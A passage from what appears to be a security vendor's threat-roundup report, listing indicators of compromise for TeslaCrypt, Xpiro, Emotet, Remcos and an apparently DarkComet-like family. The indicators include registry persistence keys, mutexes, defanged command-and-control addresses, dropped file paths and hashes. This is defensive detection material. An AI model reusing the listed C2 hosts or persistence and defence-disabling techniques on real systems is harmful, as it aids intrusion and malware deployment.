<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WSCSVC Value Name: Start  3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM Value Name: DisableRegistryTools  3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: rundll32  3
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\CURRENTVERSION\EXPLORERN Value Name: NoControlPanel  1
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\CURRENTVERSION  1
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\CURRENTVERSION\EXPLORERN  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: Microsoft  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: Windows Updater  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: Update  1
Mutexes Occurrences
DC_MUTEX-<random, matching [A-Z0-9]{7}> 22
DCPERSFWBP 18
DC_MUTEX-5DND8AT 7
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
99[.]229[.]175[.]244 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
pervert[.]no-ip[.]info 7
pervert2[.]no-ip[.]info 7
delvega[.]no-ip[.]org 2
wp-enhanced[.]no-ip[.]org 2
funstuff712[.]zapto[.]org 2
fflazhhf1[.]no-ip[.]org 1
darkcometss[.]no-ip[.]org 1
not4umac[.]no-ip[.]biz 1
sanderkidah[.]no-ip[.]org 1
bobolobob[.]no-ip[.]biz 1
hg-ma[.]zapto5[.]org 1
corrosivegas2010[.]zapto[.]org 1
profi555[.]no-ip[.]org 1
hg-ma[.]zapto[.]org 1
jugoboy1[.]zapto[.]org 1
hg-ma[.]zapto1[.]org 1
hg-ma[.]zapto2[.]org 1
hg-ma[.]zapto3[.]org 1
hg-ma[.]zapto4[.]org 1
jackreapez[.]zapto[.]org 1
magicmq[.]no-ip[.]org 1
kenrickm[.]no-ip[.]org 1
mrganja[.]no-ip[.]org 1
cherubi[.]no-ip[.]org 1
Files and or directories created Occurrences
%APPDATA%\WinDbg 30
%APPDATA%\WinDbg\windbg.exe 29
%APPDATA%\dclogs 28
\svchost.exe 7
%TEMP%\uxcv9v 7
%TEMP%\uxcv9v.vbs 7
%HOMEPATH%\Documents\MSDCSC 6
%HOMEPATH%\Documents\MSDCSC\msdcsc.exe 6
%TEMP%\MSDCSC 5
%TEMP%\MSDCSC\msdcsc.exe 5
%SystemRoot%\SysWOW64\MSDCSC 3
%SystemRoot%\SysWOW64\MSDCSC\msdcsc.exe 3
%TEMP%\tMMjnM 1
%TEMP%\xMWbLz.vbs 1
%TEMP%\tMMjnM.vbs 1
%APPDATA%\WinDbg\msdnaa.exe 1
%TEMP%\Mi0z67 1
%HOMEPATH%\Documents\Explorer\Iexplorer.exe 1
%TEMP%\q7EVTk 1
%TEMP%\mmsHyU 1
%TEMP%\q7EVTk.vbs 1
%TEMP%\mmsHyU.vbs 1
%APPDATA%\WinUpd\WinUpdater.exe 1
%TEMP%\alRnXV 1
%TEMP%\alRnXV.vbs 1
*See JSON for more IOCs

#### File Hashes

 0153ea1e28f729d6604f422075202e48a599969c04c30e4a3056e3a308148eb3 050332edd1c7356a6e8a86471699135d90ba402d1f7ac0a27da39ccdb94ba0e8 07525015abc52c0820727bbfe3a29f62e1e5e0ca8af36ca8716ae5ea12e71a75 09fce07fb07b90dc54f5e72dd08d8677f62e948e6a0450e63f25cc6e22f99ff5 0a5710ed174fbee931562112147c3bf6cf8609a5f1674d0c878a6888548cb0c9 0db09a5cc0ff770b4024f14bf6b56b03c4ec599fe0499fc3a8d5da2625d93954 0f67c4df374d4e01f9838a7dc6ab174c0d8f4b5f2485b670f24c7fcdf65f3269 10f39ff02541b02857c11ca18a1cc745e075224ad510af7ad18b21dcb0d3cfa0 12449565aed227128301078ece7695cd6fbd8fb735e8f8b4238e08a1b181a651 13d377317be765d9d333e6a6d41bb83cffb606547dc308fefe0dcea87133b172 157be56d2b1cee72ad290957752e089cd39f39c51807c6791b25b875113758ab 15c65c639231d17726fa4a2c0cef2a7975a52f5d71ba8d7e4e3e1f053c066528 16cc7eabf5a54d8b376b6de32e2591902044a558ded0a527fcc0143e1686c4af 16e972675f3d1bd26aff1accdde7925e4cd5ba6d5f2a33826d3d75606a1bc955 173cae8d47a5d796b06fdd18c951003342ad08d0aee4be2823332df003b5673a 17dbbd57df81e29f2d19aba93c1626efe92bff713ad8b8e65b449e843aff54e8 19370c555e8e7ed5133ca6efa7acc98fc360983cc04193cc195ea0c8a0bf2931 1984c2439c1acacb9ec7c6468db48017d8c2aa4e2da5829d572bb6f5050e80cd 1b7a03db77e43e04badd95d28554df1f9e3d97197605af709df0387d3bd0c1e8 1b9f9491a6d98e3de499641caa8ac736f2c6f76e4ac8960170d89fea7026c69e 1bd9838e181acb88813cdea1d228b445e06b921bff3cece199f9551522eff27d 1cd35eff6c0963356162d68f5434b19728f2805db71b5c616ff534d2c961d093 1d25e1479054eea2355385f60a9ce320af2e5ff5ff1333bfabc72518f7337056 1f3c3ebac21a63328b72317246fb5731720e1d311cdb7928543e1c13e87994d3 2066531192b69556304df9a65266a2d2e5978ae8cec323b6860eb230fd2faa79
*See JSON for more IOCs

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella N/A
WSA N/A

### Win.Ransomware.TeslaCrypt-9960924-0

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 16 samples
Registry Keys Occurrences
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM Value Name: EnableLinkedConnections  16
<HKU>\.DEFAULT\SOFTWARE\TRUEIMG  16
<HKCU>\SOFTWARE\TRUEIMG  16
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\ACTION CENTER\CHECKS\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.CHECK.0 Value Name: CheckSetting  16
<HKCU>\SOFTWARE\TRUEIMG Value Name: ID  16
<HKCU>\Software\<random, matching '[A-Z0-9]{14,16}'>  16
<HKCU>\Software\<random, matching '[A-Z0-9]{14,16}'> Value Name: data  16
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _lfia  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _hfnk  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _kcgt  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _ppqk  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _kaol  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _abtg  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _rpua  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _raet  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _kwxa  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _ojsf  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _kiyk  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _iykv  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _hpdk  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _htkc  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _fshu  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: _fanp  1
Mutexes Occurrences
__xfghx__ 16
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
74[.]220[.]199[.]6 16
64[.]190[.]63[.]111 16
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
prodocument[.]co[.]uk 16
marketathart[.]com 16
joshsawyerdesign[.]com 16
emmy2015[.]com 16
nlhomegarden[.]com 16
esbook[.]com 16
Files and or directories created Occurrences
%ProgramFiles%\7-Zip\Lang\lv.txt 16
%ProgramFiles%\7-Zip\Lang\mk.txt 16
%ProgramFiles%\7-Zip\Lang\mn.txt 16
%ProgramFiles%\7-Zip\Lang\mng.txt 16
%ProgramFiles%\7-Zip\Lang\mng2.txt 16
%ProgramFiles%\7-Zip\Lang\mr.txt 16
%ProgramFiles%\7-Zip\Lang\ms.txt 16
%ProgramFiles%\7-Zip\Lang\nb.txt 16
%ProgramFiles%\7-Zip\Lang\ne.txt 16
%ProgramFiles%\7-Zip\Lang\nl.txt 16
%ProgramFiles%\7-Zip\Lang\nn.txt 16
%ProgramFiles%\7-Zip\Lang\pa-in.txt 16
%ProgramFiles%\7-Zip\Lang\pl.txt 16
%ProgramFiles%\7-Zip\Lang\ps.txt 16
%ProgramFiles%\7-Zip\Lang\pt-br.txt 16
%ProgramFiles%\7-Zip\Lang\pt.txt 16
%ProgramFiles%\7-Zip\Lang\ro.txt 16
%ProgramFiles%\7-Zip\Lang\ru.txt 16
%ProgramFiles%\7-Zip\Lang\sa.txt 16
%ProgramFiles%\7-Zip\Lang\si.txt 16
%ProgramFiles%\7-Zip\Lang\sk.txt 16
%ProgramFiles%\7-Zip\Lang\sl.txt 16
%ProgramFiles%\7-Zip\Lang\sq.txt 16
%ProgramFiles%\7-Zip\Lang\sr-spc.txt 16
%ProgramFiles%\7-Zip\Lang\sr-spl.txt 16
*See JSON for more IOCs

#### File Hashes

 00e862ecba1e2a71769a67fc5c27499e00c5594f6b7ed4e4114c2fe1fb43492f 144c480ed69ac652c4eb4efa5b6038d7a68ed3bca67089997b4228e1c814f7c4 1b02123c913912f44a6ef1c3c4a5a008270d9d8e802e92b4baa259135f25dc21 22f322c8241b4860c066f5ae57115c58f373753e3d8c9bede4521e5a5ed85e65 35aeb94c99b948b122f3e4bd4298107ab15cb8bbdb11b533d32666dbb1455ae3 3ba05e043bf3148202f498dcddb6bd67680f76640aef2d08f9ae1272ff85e719 41cba3025ecc75863b7a836ee00fdf2bbc2df90dffb17541b5bb1c9fcb269bd1 9223631593b46b54450b76028a69ddd837d06cd7e9b3d8e3f7bd584a46af22bf b2713458d2c3ebd4b558f8c2ce19a90bd97095ca868fd499755bf1c9cbd0c388 bdf2c5fcf72e7d7870e81ffacdd01206ed98d2446a85c28e7eaf73e26d7a6eda be9fac828e64c19e0a3fbf3c4a752d5332b7c0b849556f5388645515a29538ee c00039c0454935a5079dc801ce4420457eb9964cbed8372b5aff5c60a45fa26c d540b31f009a4138b5d35735fa9976522f4d5ee9e6b8dbdbde479796ebc6d4c0 dba60ef1804b4d90d74a2988fe53f044d7619f469d0ba9660e5646a1a67439cd f1ab2d7ace4656b5f3770186d088ac0644482fe43f38fe2bdb9217744d0f58c1 ff6f821dc0526f3615b1a3c37b2b14094f53d05cb0a6a753cb257cb0bcde6898

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella
WSA

### Win.Virus.Xpiro-9960895-1

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 23 samples
Registry Keys Occurrences
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_32 Value Name: Type  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_64 Value Name: Type  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_32 Value Name: Type  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_32 Value Name: Start  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\COMSYSAPP Value Name: Type  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\COMSYSAPP Value Name: Start  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\MOZILLAMAINTENANCE Value Name: Type  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\MOZILLAMAINTENANCE Value Name: Start  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\OSE Value Name: Type  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\OSE Value Name: Start  23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC\S-1-5-21-2580483871-590521980-3826313501-500  23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC\S-1-5-21-2580483871-590521980-3826313501-500 Value Name: EnableNotifications  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_32 Value Name: Start  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_64 Value Name: Start  23
<HKLM>\SOFTWARE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\STATE Value Name: AccumulatedWaitIdleTime  23
<HKLM>\SOFTWARE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\LISTENEDSTATE Value Name: RootstoreDirty  23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\STATE Value Name: AccumulatedWaitIdleTime  23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\LISTENEDSTATE Value Name: RootstoreDirty  23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WSCSVC Value Name: Start  22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_64 Value Name: Type  22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_64 Value Name: Start  22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\IEETWCOLLECTORSERVICE Value Name: Type  22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\IEETWCOLLECTORSERVICE Value Name: Start  22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WINDEFEND Value Name: Start  21
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXT\STATS\{761497BB-D6F0-462C-B6EB-D4DAF1D92D43}  18
Mutexes Occurrences
kkq-vx_mtx63 23
kkq-vx_mtx64 23
kkq-vx_mtx65 23
kkq-vx_mtx66 23
kkq-vx_mtx67 23
kkq-vx_mtx68 23
kkq-vx_mtx69 23
kkq-vx_mtx70 23
kkq-vx_mtx71 23
kkq-vx_mtx72 23
kkq-vx_mtx73 23
kkq-vx_mtx74 23
kkq-vx_mtx75 23
kkq-vx_mtx76 23
kkq-vx_mtx77 23
kkq-vx_mtx78 23
kkq-vx_mtx79 23
kkq-vx_mtx80 23
kkq-vx_mtx81 23
kkq-vx_mtx82 23
kkq-vx_mtx83 23
kkq-vx_mtx84 23
kkq-vx_mtx85 23
kkq-vx_mtx86 23
kkq-vx_mtx87 23
*See JSON for more IOCs
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
107[.]22[.]125[.]105 7
3[.]217[.]206[.]46 4
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
ninite[.]com 21
www[.]bing[.]com 1
Files and or directories created Occurrences
%CommonProgramFiles%\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE 23
%CommonProgramFiles(x86)%\microsoft shared\Source Engine\OSE.EXE 23
%ProgramFiles(x86)%\Microsoft Office\Office14\GROOVE.EXE 23
%ProgramFiles(x86)%\Mozilla Maintenance Service\maintenanceservice.exe 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe 23
%SystemRoot%\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe 23
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe 23
%System32%\FXSSVC.exe 23
%System32%\alg.exe 23
%System32%\dllhost.exe 23
%SystemRoot%\ehome\ehsched.exe 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\ngen_service.log 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\ngen_service.log 23
%SystemRoot%\SysWOW64\dllhost.exe 23
%SystemRoot%\SysWOW64\svchost.exe 23
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\ngen_service.log 23
%SystemRoot%\SysWOW64\dllhost.vir 23
%SystemRoot%\SysWOW64\svchost.vir 23
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\ngenservicelock.dat 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\ngen_service.lock 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\ngenservicelock.dat 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\ngen_service.lock 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\ngenservicelock.dat 23
%CommonProgramFiles(x86)%\microsoft shared\source engine\ose.vir 23
*See JSON for more IOCs

#### File Hashes

 137ad3b55addd7191c8c974beef6b65bae791bc4de1e86b7e2965b311d40e2d0 1cfd0fd601a0f5234ce72672ec9c6c866dca03836198d93a320ed5df0bddd7f8 1e831b6d0cabaa8b44de36c1b96dd6e54e295502eb171be4f87723212fe574ca 1f935627d9866da115f1aad78be290f60a639bec1a94d6b8397326eeb46c111b 30ffb87628211e78074a3a891b8bd173db6f2d74dc97e735ff386361cf29aee1 3f948d4350c566416101441adb1c00121bd835db40cc08c73a556b764458673d 47934d4f40e9a5af0ee572a7e1e088d29d3bfd655d4aff26018a64118ad68a24 563c16cb752614726d350000fbf514a8b8d32a8074cd12c7545d6ff93f790ed9 591ae4985fd6993f580eae6f93f3e96f7c73c14dc3927e96223e8003f9ab3588 5cbd454095120231e23ca372fee8e9e76f34e3f5491f8ab10e8e5203e4c52570 6f0f5fda67646bc8def9c66497041528cd8ed7158a169c1b0787f59360c28ea8 7ec4a0246b5d33dfe811f4f34ab94a6b82d822196776afbe28a0f543ade8ad63 97d0aeeca4859c38984086ff1bef13c9bd11466131058fabda20dd1b21342f7a a2839faa3c7ecbff8afa71ca5787690e0e3eaeb36b899bab1926b19ce32b8c6d bcf2ae9a67fe974c02e95fbdd4edcce7df377a288c7586dae9d0b625aeedc93b c51d235b290424ad6baf08d67ab600a260200846a3f4b218e916933594b40537 d3d7dd910bd5e79fdb39d51aa83afaccdfd10538d30dd69bc7219a146e897361 d445c1ac4afae6cb028a2508c655271e3d69e07d9e016887d89d790c80fc0409 e23566aabaa7743da973840338829cc25d6936e8fcb5fb8d9b78b0ccac46c1ea e37b0661d4e4483048abcf0abba65060c78716672790e12bb0a768f04b18134b e48a371f7f5f3ad1cda0d16312f30846b6a12494967c8fba8de7f65a5673b1ff eb1ecc1ef099105b4882ccace3caf843ed1508b1463f8af6cc94adaa0181b721 ec1bc44db50911234444c575d91335113232ab5b1f6cad6acf5e52ff16ccd8fb

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella N/A
WSA N/A

### Win.Dropper.Emotet-9961142-0

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 218 samples
Registry Keys Occurrences
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: LanguageList  190
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: Type  64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: Start  64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: ErrorControl  64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: DisplayName  64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: WOW64  64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: ObjectName  64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>  63
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: ImagePath  61
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> Value Name: Description  60
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%systemroot%\system32\dot3svc.dll,-1103  14
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @oleres.dll,-5013  10
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%systemroot%\system32\browser.dll,-101  9
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\AxInstSV.dll,-104  9
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%systemroot%\system32\dps.dll,-501  9
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\ehome\ehrecvr.exe,-102  8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @appmgmts.dll,-3251  8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\dhcpcore.dll,-101  8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%systemroot%\system32\appinfo.dll,-101  8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\System32\audiosrv.dll,-205  7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%systemroot%\system32\appidsvc.dll,-101  7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @comres.dll,-948  7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\System32\dnsapi.dll,-102  7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%systemroot%\system32\cscsvc.dll,-201  7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\System32\bthserv.dll,-102  7
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
5[.]196[.]74[.]210 82
74[.]208[.]45[.]104 82
45[.]55[.]219[.]163 82
45[.]55[.]36[.]51 82
174[.]45[.]13[.]118 82
180[.]92[.]239[.]110 82
91[.]83[.]93[.]99 82
217[.]199[.]160[.]224 78
89[.]32[.]150[.]160 78
68[.]183[.]190[.]199 78
45[.]161[.]242[.]102 78
209[.]236[.]123[.]42 78
71[.]197[.]211[.]156 78
91[.]121[.]54[.]71 78
85[.]25[.]207[.]108 58
88[.]249[.]181[.]198 58
65[.]156[.]53[.]186 58
68[.]183[.]233[.]80 58
177[.]32[.]8[.]85 58
81[.]17[.]93[.]134 58
197[.]232[.]36[.]108 58
23[.]46[.]150[.]72 30
23[.]46[.]150[.]48 27
23[.]221[.]72[.]27 13
23[.]221[.]72[.]10 6
*See JSON for more IOCs
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
apps[.]identrust[.]com 82
Files and or directories created Occurrences
%SystemRoot%\SysWOW64\<random, matching '[a-z]{8}'> 35
%SystemRoot%\SysWOW64\printui 2
%SystemRoot%\SysWOW64\NlsLexicons0414 2
%SystemRoot%\SysWOW64\utildll 2
%SystemRoot%\SysWOW64\NlsData000a 2
%SystemRoot%\SysWOW64\fthsvc 2
%SystemRoot%\SysWOW64\shlwapi 2
%SystemRoot%\SysWOW64\WcsPlugInService 2
%SystemRoot%\SysWOW64\NlsLexicons0002 2
%SystemRoot%\SysWOW64\d3d8thk 1
%SystemRoot%\SysWOW64\instnm 1
%SystemRoot%\SysWOW64\cttune 1
%SystemRoot%\SysWOW64\tsbyuv 1
%SystemRoot%\SysWOW64\KBDSW 1
%SystemRoot%\SysWOW64\fc 1
%SystemRoot%\SysWOW64\rshx32 1
%SystemRoot%\SysWOW64\KBDHE220 1
%SystemRoot%\SysWOW64\WMADMOE 1
%SystemRoot%\SysWOW64\NlsData0002 1
%SystemRoot%\SysWOW64\iprop 1
%SystemRoot%\SysWOW64\rastls 1
%SystemRoot%\SysWOW64\aecache 1
%SystemRoot%\SysWOW64\SMBHelperClass 1
%SystemRoot%\SysWOW64\KBDNO 1
%SystemRoot%\SysWOW64\mfc100 1
*See JSON for more IOCs

#### File Hashes

 0154a4e3faa4dafca324954364d049324d6fcc6b8a1c90cbae92cd41f8927c4e 01ea88880d59cd617d53bfd1849ad0c2023c9febc43b48579d06802c9b324d77 0222be0813e32c7a2c87a31482e33830a91b73a750aff3499da5caa100646607 0242673f6b5b086a61873f4773b8b7f119d025325f2724cb362b1151adccfc8b 02f7999d6693f08f5983effb8bee06145be3f7dc22ff1e5b745e8d0633fe19d6 038008283ccba00047b767169fd02554182310d7b32c6def8a3fc1c6a045daf1 0403b01de17d2130faa4eecf11111acf15bc672dfeb9394054e5aa05166b8289 044242411968ca1c92b3a645d7f470cf0cda1a220920da688558fde7f4108eb9 055014bbf3a21173e4e2d9fb22124d7d249bc8f8c748151197d6e985bdf06f67 05cf33a7202716161360fc0e6fd45091f9a290954ba26a64037745652fa4b487 066202dc95bd51220d42f603a030ef71527b8dc56e62200f0d175f09f3f89c27 06ee8bc6b3c35b3d3ea924f73db6da1df9061e69b487bad9718328f1d186f0c7 0780d91df0f27af4b00d51e531a1cf12d50bbb048a211e0b287820bd9313eab5 07c262357505c7bef31ebfe2bb6c13a3d386e38d262ba2bdbfb2e52c1bd066fd 080fc908405201cbf074d6343acf66ee3c4d57f231c399b87097f75b8ca7960f 08e6bfa50d4fe544c03474d1a23776762a47a0ceed44dbe5bbb6e09fce30b055 091b50c4a374f1fc1d15e81044c2b50f03fa7c3e8359eb09bb95dc25deeebd4d 098861c8b4411225b4fde8737ccb518052ef40c896ee4e42dfeecf322e56f07f 09c4a4a31a51590b27a82bcff450c29391d3dfde480df012f43020e858efb639 0b533cf67e6fd8298b62d3aaea82f07ad11c600fa8917f3b683a72da9ca2fa7e 0c33a1f3687e65daa8825856f309cc40ef97d0892ef7742a77355124e296b815 0ccab31b5610aac24a242c812f474ff24b8e345aa78fd4b7d0a92b690938f908 0cd25d45a5e31de0fc1b75ba65c5b43d934b60b7d07638aaa1ce0d83afd984ec 0d3fee19509a873e96a1b2559d9193cf046f7f35f49d16b180438d9df7da027f 0ea6a45d2ad1115ce7141f15693139b8bd9e5ffebb5a1321ab8c48e62d65fab9
*See JSON for more IOCs

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella N/A
WSA

### Win.Dropper.Remcos-9961392-0

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 14 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\POULUS  14
<HKCU>\SOFTWARE\POULUS\MICROMINIATURISER  14
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRUGERNAVNETS  14
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRUGERNAVNETS\TIVOLIET  14
<HKCU>\SOFTWARE\POULUS\MICROMINIATURISER Value Name: Komplettes  14
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRUGERNAVNETS\TIVOLIET Value Name: Fins  14
<HKCU>\SOFTWARE\[email protected]  7
<HKCU>\SOFTWARE\[email protected] Value Name: licence  7
<HKCU>\SOFTWARE\[email protected] Value Name: exepath  7
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE Value Name: ornamenterne  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE Value Name: Hyldetrs  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE Value Name: lnglidninger  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE Value Name: Vampirebat  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE Value Name: Dereferencing  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE Value Name: Sarkastisk  1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE Value Name: Martyrologistic  1
Mutexes Occurrences
Remcos_Mutex_Inj 7
[email protected] 7
Global\916138a1-15e4-11ed-9660-00151792685a 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
5[.]2[.]75[.]164 7
181[.]235[.]13[.]200 4
186[.]169[.]54[.]97 3
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
colpatvalidacionnuevo[.]xyz 7
Files and or directories created Occurrences
%HOMEPATH%\Desktop\Markedness.ini 14
